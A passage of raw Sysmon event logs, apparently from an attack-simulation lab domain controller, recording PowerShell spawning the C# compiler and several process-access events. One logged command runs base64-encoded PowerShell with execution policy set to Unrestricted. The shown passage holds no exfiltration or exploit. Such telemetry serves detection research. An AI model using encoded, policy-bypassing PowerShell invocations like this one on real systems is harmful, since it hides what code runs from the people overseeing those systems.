\r\nUtcTime: 2020-08-07 11:56:14.899\r\nProcessGuid: {90617006-415E-5F2D-0000-0010A1680700}\r\nProcessId: 4428\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\5j4udmlc.cmdline\r\nCreationUtcTime: 2020-08-07 11:56:14.899","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.899","ProcessGuid":"{90617006-415E-5F2D-0000-0010A1680700}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\5j4udmlc.cmdline","CreationUtcTime":"2020-08-07 11:56:14.899","EventReceivedTime":"2020-08-07 11:56:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4894,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.908\r\nProcessGuid: {90617006-415E-5F2D-0000-0010EE7A0700}\r\nProcessId: 1596\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nFileVersion: 4.7.2053.0 built by: NET47REL1\r\nDescription: Visual C# Command Line Compiler\r\nProduct: Microsoft® .NET Framework\r\nCompany: Microsoft Corporation\r\nOriginalFileName: csc.exe\r\nCommandLine: \"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\5j4udmlc.cmdline\"\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-415E-5F2D-0000-002024580700}\r\nLogonId: 0x75824\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=4360A98D8785625667D2574D2DD5C988,SHA256=F7DB25AA420C14C514690C1E943EC1E729596973E911B3445DFAD42FE958711D,IMPHASH=ED2AE001A3FDD84BDC04C99A98883A52\r\nParentProcessGuid: {90617006-415E-5F2D-0000-0010A1680700}\r\nParentProcessId: 4428\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.908","ProcessGuid":"{90617006-415E-5F2D-0000-0010EE7A0700}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","FileVersion":"4.7.2053.0 built by: NET47REL1","Description":"Visual C# Command Line Compiler","Product":"Microsoft® .NET Framework","Company":"Microsoft Corporation","OriginalFileName":"csc.exe","CommandLine":"\"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\5j4udmlc.cmdline\"","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-415E-5F2D-0000-002024580700}","LogonId":"0x75824","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=4360A98D8785625667D2574D2DD5C988,SHA256=F7DB25AA420C14C514690C1E943EC1E729596973E911B3445DFAD42FE958711D,IMPHASH=ED2AE001A3FDD84BDC04C99A98883A52","ParentProcessGuid":"{90617006-415E-5F2D-0000-0010A1680700}","ParentProcessId":"4428","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==","EventReceivedTime":"2020-08-07 11:56:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4895,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.899\r\nSourceProcessGUID: {90617006-415E-5F2D-0000-0010A1680700}\r\nSourceProcessId: 4428\r\nSourceThreadId: 4360\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-415E-5F2D-0000-0010EE7A0700}\r\nTargetProcessId: 1596\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+270222|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26fe9f|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26f9ee|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26f97a|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26e48b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+7c1ecb|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+7c1999|UNKNOWN(00007FF8EA6EB68F)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.899","SourceProcessGUID":"{90617006-415E-5F2D-0000-0010A1680700}","SourceProcessId":"4428","SourceThreadId":"4360","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-415E-5F2D-0000-0010EE7A0700}","TargetProcessId":"1596","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+270222|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26fe9f|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26f9ee|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26f97a|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26e48b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+7c1ecb|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+7c1999|UNKNOWN(00007FF8EA6EB68F)","EventReceivedTime":"2020-08-07 11:56:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4896,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.899\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-415E-5F2D-0000-0010EE7A0700}\r\nTargetProcessId: 1596\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.899","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-415E-5F2D-0000-0010EE7A0700}","TargetProcessId":"1596","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4897,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.899\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.899","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4898,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.899\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.899","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4899,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.899\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.899","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4900,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.899\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.899","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 